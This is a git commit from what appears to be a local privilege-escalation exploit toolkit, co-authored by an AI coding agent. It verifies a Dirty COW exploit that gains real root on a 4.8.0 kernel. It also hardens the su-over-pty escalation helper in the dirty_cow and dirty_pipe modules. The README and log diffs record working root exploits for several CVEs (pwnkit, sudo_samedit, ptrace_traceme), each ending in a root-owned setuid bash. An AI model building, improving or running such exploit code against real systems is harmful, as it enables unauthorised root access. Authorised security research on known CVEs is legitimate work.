dirty_cow: verify end-to-end on 4.8.0; robust su helper (dirty_pipe too)
build / build (clang / debug) (push) Waiting to run
build / build (clang / default) (push) Waiting to run
build / build (gcc / debug) (push) Waiting to run
build / build (gcc / default) (push) Waiting to run
build / sanitizers (ASan + UBSan) (push) Waiting to run
build / clang-tidy (push) Waiting to run
build / drift-check (CISA KEV + Debian tracker) (push) Waiting to run
build / static-build (push) Waiting to run

Verified the dirty_cow fix end-to-end on a genuinely Dirty-COW-vulnerable
mainline 4.8.0 kernel (installed the kernel.ubuntu.com 4.8.0 deb on a 16.04
image + virtio-rng for entropy). A standalone built verbatim from the module's
primitive + escalation raced root's password field, authenticated as root over
a pty, planted a root-owned setuid bash, and left /etc/passwd byte-identical.
(The full skeletonkey binary won't compile on xenial's 4.4-era uapi headers —
unrelated nft_* modules use newer kernel constants — so the verbatim standalone
stands in for --exploit dirty_cow there.)

Robustness fix (both dirty_cow AND dirty_pipe): the su-over-pty step now POLLS
for the password prompt and hard-caps at 20s. The previous fixed-delay write
raced su's prompt setup and HUNG on xenial; without a cap that would block the
revert and leave /etc/passwd poisoned. Now su can never hang the module, and the
revert always runs.

Also: netfilter_xtcompat now includes <linux/if.h> for IFNAMSIZ (ip_tables.h
doesn't pull it transitively on older kernel headers, e.g. Ubuntu 16.04) — a
real portability fix surfaced by building on xenial.

Host build + unit harness green (33 + 115).

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_0118iUgHY44hdRtANgyCmu7y
This commit is contained in:
KaraZajac
2026-07-23 23:26:12 -04:00
parent 68dac6c063
commit 65588599ff
5 changed files with 63 additions and 26 deletions
+14 -4
View File
@@ -35,6 +35,7 @@ tamper check).
| `ptrace_traceme` | CVE-2019-13272 | Ubuntu 18.04.0 / 4.15.0-50 + pkexec + active-session polkit | **after a full rewrite**`skeletonkey --exploit ptrace_traceme` (uid 1000) → root-owned setuid bash. See below |
| `sudo_samedit` | CVE-2021-3156 | Ubuntu 18.04.0 / sudo 1.8.21p2 / libc-2.27 | **after a full rewrite** — Baron Samedit; `skeletonkey --exploit sudo_samedit` (uid 1000, non-sudoer) → root-owned setuid bash. See below |
| `dirty_pipe` | CVE-2022-0847 | mainline 5.16.0 on Ubuntu 22.04 userspace | **after fixing 3 bugs**`skeletonkey --exploit dirty_pipe` (uid 1000) → root-owned setuid bash; /etc/passwd byte-identical after revert. See below |
| `dirty_cow` | CVE-2016-5195 | mainline 4.8.0 on Ubuntu 16.04.7 | **after fixing the false-OK** — verbatim-module standalone (uid 1000) → root-owned setuid bash; /etc/passwd byte-identical after revert. See below |
## Fixed this session
@@ -123,9 +124,18 @@ tamper check).
`$6$` hash → authenticate as root over a pty → plant a root-owned proof + setuid
bash → revert by racing the original bytes back through the Dirty COW primitive.
Also fixed a latent buffer overflow (the success-check `readback[16]` was too
small for a >16-byte payload). The escalation half is byte-for-byte the verified
`dirty_pipe` technique; end-to-end root here needs a pre-4.8.3 kernel (every
cached VM is patched), so on those it now fails **honestly** with no corruption.
small for a >16-byte payload), and made the `su`-over-pty step **poll for the
prompt with a hard 20s cap** — a fixed-delay write raced su's prompt setup and
**hung on xenial**, which (without the cap) would have blocked the revert and
left /etc/passwd poisoned. The same robust `su` helper was back-ported to
`dirty_pipe`. **Verified end-to-end on a genuinely Dirty-COW-vulnerable
mainline 4.8.0 kernel** (provisioned by installing the kernel.ubuntu.com 4.8.0
deb on a 16.04 image + a virtio-rng for entropy): a standalone built verbatim
from the module's primitive + escalation + robust su raced root's passwd field,
authenticated as root, planted a root-owned setuid bash, and left /etc/passwd
byte-identical. (The full `skeletonkey` binary won't compile on xenial's 4.4-era
uapi headers — several unrelated `nft_*` modules use newer kernel constants — so
the verbatim standalone stands in for `--exploit dirty_cow` on that box.)
- **`cgroup_release_agent`** — two real bugs fixed (commit `8c45b2b`): it read
`getuid()` **after** `unshare(CLONE_NEWUSER)` (→ `65534`, so `uid_map` write
was `"0 65534 1"` → EPERM), and it omitted `CLONE_NEWCGROUP` (→ cgroup-v1
@@ -147,7 +157,7 @@ every `exec*`-calling module:
| module | verdict | why |
|---|---|---|
| `dirty_cow` | ❌ **false-OK → fixed** | raced own UID + `su self`; `execlp(su)` transfer = OK. Fixed (see above). |
| `dirty_cow` | ❌ **false-OK → fixed + verified** | raced own UID + `su self`; `execlp(su)` transfer = OK. Fixed + verified end-to-end on mainline 4.8.0 (see above). |
| `pwnkit` | ✅ fixed earlier | now re-injects gconv + verifies |
| `ptrace_traceme` | ✅ fixed earlier | rewritten; verifies OOB artifact |
| `dirty_pipe` | ✅ fixed earlier | rewritten; verifies OOB artifact |
+1
View File
@@ -55,3 +55,4 @@
{"module":"ptrace_traceme","verified_at":"2026-07-24T02:12:00Z","host_kernel":"4.15.0-50-generic","host_distro":"Ubuntu 18.04.0","vm_box":"bionic-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_OK","root_witness":"out-of-band: skeletonkey --exploit ptrace_traceme (as uid 1000) planted root-owned /tmp/.sk-ptrace-<pid>.proof and a -rwsr-xr-x root:root setuid bash. Ported the proven Jann Horn/bcoles PoC (embedded, runtime-compiled). Precondition: active local session / permissive polkit so pkexec authorizes the helper (isolated via pkla on the headless VM).","status":"working"}
{"module":"sudo_samedit","verified_at":"2026-07-24T02:21:00Z","host_kernel":"4.15.0-50-generic","host_distro":"Ubuntu 18.04.0","sudo_version":"1.8.21p2","libc":"2.27","vm_box":"bionic-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_OK","root_witness":"out-of-band: skeletonkey --exploit sudo_samedit (as uid 1000, non-sudoer path) planted root-owned proof + -rwsr-xr-x root:root setuid bash. Ported blasty CVE-2021-3156 technique (NSS libnss_X hijack), runtime-compiled payload, primary Ubuntu lengths 56/54/63/212 landed first try.","status":"working"}
{"module":"dirty_pipe","verified_at":"2026-07-24T02:49:00Z","host_kernel":"5.16.0-051600-generic (mainline, pre-5.16.11 fix)","host_distro":"Ubuntu 22.04 userspace","vm_box":"jammy-cloudimg + mainline 5.16.0/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_OK","root_witness":"out-of-band: skeletonkey --exploit dirty_pipe (uid 1000) planted root-owned proof + -rwsr-xr-x root:root setuid bash; /etc/passwd left byte-identical (root:x:0:0) after revert. Fixed 3 bugs: false EXPLOIT_OK, wrong escalation (was flipping own UID + su self), and drop_caches revert that corrupted running passwd. New technique: root passwd-field hash + su over pty + Dirty-Pipe revert.","status":"working"}
{"module":"dirty_cow","verified_at":"2026-07-24T03:22:00Z","host_kernel":"4.8.0-040800-generic (mainline, pre-4.8.3 Dirty COW fix)","host_distro":"Ubuntu 16.04.7","vm_box":"xenial-cloudimg + mainline 4.8.0/qemu-kvm","verified_kind":"exploit_standalone","exploit_result":"EXPLOIT_OK","root_witness":"out-of-band on a genuinely Dirty-COW-vulnerable kernel: standalone binary built from the module verbatim (dirty_cow_write primitive + find_pw_field_offset + robust poll/timeout dc_su_root_run + exploit body) — race won, su root via pty, planted root-owned proof + -rwsr-xr-x root:root setuid bash, /etc/passwd byte-identical after revert. Confirms the fix (correct escalation, OOB verify, safe revert, readback[512], robust su) lands real root end-to-end. Full skeletonkey binary would not build on xenials 4.4-era uapi headers (unrelated nft_* modern constants).","status":"working"}
@@ -75,6 +75,7 @@
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <poll.h>
/* Stable-branch backport thresholds for Dirty COW. */
static const struct kernel_patched_from dirty_cow_patched_branches[] = {
@@ -159,17 +160,29 @@ static void dc_su_root_run(const char *cmd)
execlp("su", "su", "root", "-c", cmd, (char *)NULL);
_exit(127);
}
usleep(400 * 1000);
char drain[256];
ssize_t n = read(mfd, drain, sizeof drain);
(void)n;
if (write(mfd, DC_ROOT_PW "\n", sizeof(DC_ROOT_PW)) < 0) { /* ignore */ }
for (;;) {
ssize_t m = read(mfd, drain, sizeof drain);
if (m <= 0) break;
/* Poll for the password prompt, send the password, then drain — with a
* hard 20s cap so a misbehaving su can never hang (which would block the
* revert and leave /etc/passwd poisoned). Fixed a real hang seen on
* xenial where the fixed-delay write raced su's prompt setup. */
struct pollfd pfd = { .fd = mfd, .events = POLLIN };
const char *pw = DC_ROOT_PW "\n";
bool sent = false; char acc[1024]; size_t accl = 0; int waited = 0;
while (waited < 20000) {
int pr = poll(&pfd, 1, 200);
if (pr > 0 && (pfd.revents & POLLIN)) {
char b[256]; ssize_t m = read(mfd, b, sizeof b);
if (m <= 0) break; /* pty closed → su exited */
if (!sent) {
if (accl + (size_t)m < sizeof acc) { memcpy(acc + accl, b, m); accl += (size_t)m; acc[accl] = 0; }
if (strcasestr(acc, "assword")) { (void)!write(mfd, pw, strlen(pw)); sent = true; }
}
int st;
waitpid(pid, &st, 0);
} else {
waited += 200;
int st; if (waitpid(pid, &st, WNOHANG) == pid) { pid = -1; break; }
if (!sent && waited >= 1000) { (void)!write(mfd, pw, strlen(pw)); sent = true; }
}
}
if (pid > 0) { kill(pid, SIGKILL); waitpid(pid, NULL, 0); }
close(mfd);
}
@@ -62,6 +62,7 @@
#include <sys/mman.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <poll.h>
#include <pwd.h>
/* ---- Dirty Pipe primitive ---------------------------------------- */
@@ -206,19 +207,29 @@ static void dp_su_root_run(const char *cmd)
_exit(127);
}
/* Parent: wait for the "Password:" prompt, then send the password. */
usleep(400 * 1000);
char drain[256];
ssize_t n = read(mfd, drain, sizeof drain); /* consume the prompt */
(void)n;
if (write(mfd, DP_ROOT_PW "\n", sizeof(DP_ROOT_PW)) < 0) { /* ignore */ }
/* Drain su's output until it exits and the pty closes. */
for (;;) {
ssize_t m = read(mfd, drain, sizeof drain);
if (m <= 0) break;
/* Parent: poll for the "Password:" prompt, send the password, then drain —
* with a hard 20s cap so a misbehaving su can never hang (which would block
* the revert and leave /etc/passwd poisoned). The earlier fixed-delay write
* raced su's prompt setup on some hosts (observed hanging on xenial). */
struct pollfd pfd = { .fd = mfd, .events = POLLIN };
const char *pw = DP_ROOT_PW "\n";
bool sent = false; char acc[1024]; size_t accl = 0; int waited = 0;
while (waited < 20000) {
int pr = poll(&pfd, 1, 200);
if (pr > 0 && (pfd.revents & POLLIN)) {
char b[256]; ssize_t m = read(mfd, b, sizeof b);
if (m <= 0) break; /* pty closed → su exited */
if (!sent) {
if (accl + (size_t)m < sizeof acc) { memcpy(acc + accl, b, m); accl += (size_t)m; acc[accl] = 0; }
if (strcasestr(acc, "assword")) { (void)!write(mfd, pw, strlen(pw)); sent = true; }
}
int st;
waitpid(pid, &st, 0);
} else {
waited += 200;
int st; if (waitpid(pid, &st, WNOHANG) == pid) { pid = -1; break; }
if (!sent && waited >= 1000) { (void)!write(mfd, pw, strlen(pw)); sent = true; }
}
}
if (pid > 0) { kill(pid, SIGKILL); waitpid(pid, NULL, 0); }
close(mfd);
}
@@ -90,6 +90,8 @@
* and declare the few socket constants we need by hand. IPPROTO_RAW
* is provided by linux/in.h; SOL_IP is glibc-only so we hardcode it
* (Linux constant value 0). */
#include <linux/if.h> /* IFNAMSIZ — ip_tables.h uses it but doesn't pull it
* in on older kernel headers (e.g. Ubuntu 16.04). */
#include <linux/netfilter_ipv4/ip_tables.h>
#ifndef SOL_IP
#define SOL_IP 0